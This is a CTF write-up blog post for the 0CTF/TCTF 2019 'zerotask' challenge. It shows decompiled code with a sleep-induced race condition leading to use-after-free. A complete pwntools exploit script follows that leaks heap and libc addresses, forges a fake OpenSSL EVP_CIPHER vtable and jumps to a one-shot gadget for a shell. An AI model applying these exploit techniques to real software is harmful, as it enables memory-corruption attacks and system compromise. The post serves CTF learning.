0CTF/TCTF 2019 Quals - zerotask

Posted on Aug 14, 2020

structures

struct Context{
    char *data
    __int64 size;
    int mode;
    char key[0x20];
    char iv[0x10];
    char padding[0x14];
    struct evp_cipher_ctx_st *ctx;
    int id;
    struct Context *next;
};

struct evp_cipher_ctx_st {
    const EVP_CIPHER *cipher;
    ENGINE *engine;             /* functional reference if 'cipher' is
                                 * ENGINE-provided */
    int encrypt;                /* encrypt or decrypt */
    int buf_len;                /* number we have left */
    unsigned char oiv[EVP_MAX_IV_LENGTH]; /* original iv */
    unsigned char iv[EVP_MAX_IV_LENGTH]; /* working iv */
    unsigned char buf[EVP_MAX_BLOCK_LENGTH]; /* saved partial block */
    int num;                    /* used by cfb/ofb/ctr mode */
    void *app_data;             /* application stuff */
    int key_len;                /* May change for variable length cipher */
    unsigned long flags;        /* Various flags */
    void *cipher_data;          /* per EVP data */
    int final_used;
    int block_mask;
    unsigned char final[EVP_MAX_BLOCK_LENGTH]; /* possible final block */
} /* EVP_CIPHER_CTX */ ;

struct evp_cipher_st {
    int nid;
    int block_size;
    /* Default value for variable length ciphers */
    int key_len;
    int iv_len;
    /* Various flags */
    unsigned long flags;
    /* init key */
    int (*init) (EVP_CIPHER_CTX *ctx, const unsigned char *key,
                 const unsigned char *iv, int enc);
    /* encrypt/decrypt data */
    int (*do_cipher) (EVP_CIPHER_CTX *ctx, unsigned char *out,
                      const unsigned char *in, size_t inl);
    /* cleanup ctx */
    int (*cleanup) (EVP_CIPHER_CTX *);
    /* how big ctx->cipher_data needs to be */
    int ctx_size;
    /* Populate a ASN1_TYPE with parameters */
    int (*set_asn1_parameters) (EVP_CIPHER_CTX *, ASN1_TYPE *);
    /* Get parameters from a ASN1_TYPE */
    int (*get_asn1_parameters) (EVP_CIPHER_CTX *, ASN1_TYPE *);
    /* Miscellaneous operations */
    int (*ctrl) (EVP_CIPHER_CTX *, int type, int arg, void *ptr);
    /* Application data */
    void *app_data;
} /* EVP_CIPHER */ ;

Summary

  • start_routine에서 sleep(2)
    • Race condition to UAF
void __fastcall __noreturn start_routine(void *a1)
{
  int v1; // [rsp+14h] [rbp-2Ch]
  __int128 ptr; // [rsp+18h] [rbp-28h]
  __int64 v3; // [rsp+28h] [rbp-18h]
  __int64 v4; // [rsp+30h] [rbp-10h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  ptr = a1;
  v1 = 0;
  v3 = 0LL;
  v4 = 0LL;
  puts("Prepare...");
  sleep(2u);
  memset(data_heap, 0, 0x1010uLL);
  if ( !EVP_CipherUpdate(*(ptr + 0x58), data_heap, &v1, *ptr, *(ptr + 8)) )
    pthread_exit(0LL);
  *(&ptr + 1) += v1;
  if ( !EVP_CipherFinal_ex(*(ptr + 0x58), data_heap + *(&ptr + 1), &v1) )
    pthread_exit(0LL);
  *(&ptr + 1) += v1;
  puts("Ciphertext: ");
  hexdump(stdout, data_heap, *(&ptr + 1), 0x10uLL, 1uLL);
  pthread_exit(0LL);
}

Exploit

  • UAF to leak heap/libc address
  • construct fake evp_cipher_st structure
    • overwrite Context->ctx
    • call oneshot in EVP_EncryptUpdate
from pwn import *
from Crypto.Cipher import AES

context.log_level = 'debug'

KEY = 'a'*0x20
IV  = 'b'*0x10

def decrypt(chunk):
    dec = AES.new(KEY, AES.MODE_CBC, IV)
    return dec.decrypt(chunk)

def add(id, key, iv, size, pay, opt, uaf=None):
  if uaf:
    sleep(0.3)
    p.sendline('1')
  else:
    p.sendlineafter(':', '1')
  p.sendlineafter(':', str(id))
  p.sendlineafter(':', str(opt)) # 1 : encrypt / 2 : decrypt
  p.sendafter(':', key)
  p.sendafter(':', iv)
  p.sendlineafter(':', str(size))
  if pay:
    p.sendafter(':', pay)

def delete(id, uaf=None):
  if uaf:
    sleep(0.3)
    p.sendline('2')
  else:
    p.sendlineafter(':', '2')
  p.sendlineafter(':', str(id))

def go(id):
  p.sendlineafter(':', '3')
  p.sendlineafter(':', str(id))

def parse_hexdump(line):
  plain = ''
  for i in range(line):
    for i in range(0x10):
      tmp = chr(int(p.recv(2), 16))
      plain += tmp
      if i==0xf:
        p.recvline()
      else:
        p.recv(1)

  return plain

p = process('./zerotask')
e = ELF('./zerotask')
l = e.libc

##### leak heap #####

add(1, KEY, IV, 0x50, '1'*0x50, 1)
add(2, KEY, IV, 0x50, '2'*0x50, 1)
add(3, KEY, IV, 0x50, '3'*0x50, 1)

go(2)
delete(1, 'u')
delete(2, 'u')

add(2, KEY, IV, 0x50, None, 1)
p.recvuntil('Ciphertext: \n')

heap = u64(decrypt(parse_hexdump(6))[:8]) - 0x1260
log.info('[HEAP] : '+hex(heap))

p.send('y'*0x50)

##### leak libc #####

add(4, KEY, IV, 0x50, '4'*0x50, 1) # fill bin
add(5, KEY, IV, 0x50, '5'*0x50, 1) # fill bin

add(0xda, KEY, IV, 0x30, 'T'*0x30, 1) # aes ctx

add(6, KEY, IV, 0x30, '6'*0x30, 1)
add(7, KEY, IV, 0x30, '7'*0x30, 1)
add(8, KEY, IV, 0x80, '8'*0x80, 1)

go(6)
delete(6, 'u')
delete(7, 'u')

fake1  = p64(heap+0x19b0) + p64(0x30)
fake1 += p32(1) + KEY + IV + p32(0) + p64(0) * 2
fake1 += p64(heap+0x1c50) + p64(6) + p64(heap+0x1bd0)

add(9, KEY, IV, 0x70, fake1, 1)
p.recvuntil('Ciphertext: \n')

libc = u64(decrypt(parse_hexdump(4))[:8]) - 0x7f1620
magic = libc + 0x4526a
log.info('[LIBC] : '+hex(libc))

##### get shell ####

add(10, KEY, IV, 0x30, 'a'*0x30, 1, 'u') # fill bin
add(11, KEY, IV, 0x30, 'b'*0x30, 1) # fill bin
add(12, KEY, IV, 0x30, 'c'*0x30, 1) # fengshei

fake_ctx  = p64(heap+0x2ed8)
fake_ctx += p64(0x00000010000001ab) + p64(0x0000001000000020)
fake_ctx += p64(0x1002) + p64(magic) * 0x20

add(13, KEY, IV, len(fake_ctx), fake_ctx, 1)
add(14, KEY, IV, 0x70, 'e'*0x70, 1)

go(10)
delete(10, 'u')
delete(12, 'u')

fake_vtable = heap+0x2ed0

fake2  = p64(heap) + p64(0x30)
fake2 += p32(1) + KEY + IV + p32(0) + p64(0)*2
fake2 += p64(fake_vtable) + p64(0xa) + p64(heap+0x2a80)

add(16, KEY, IV, 0x70, fake2, 1)
sleep(2)

p.interactive()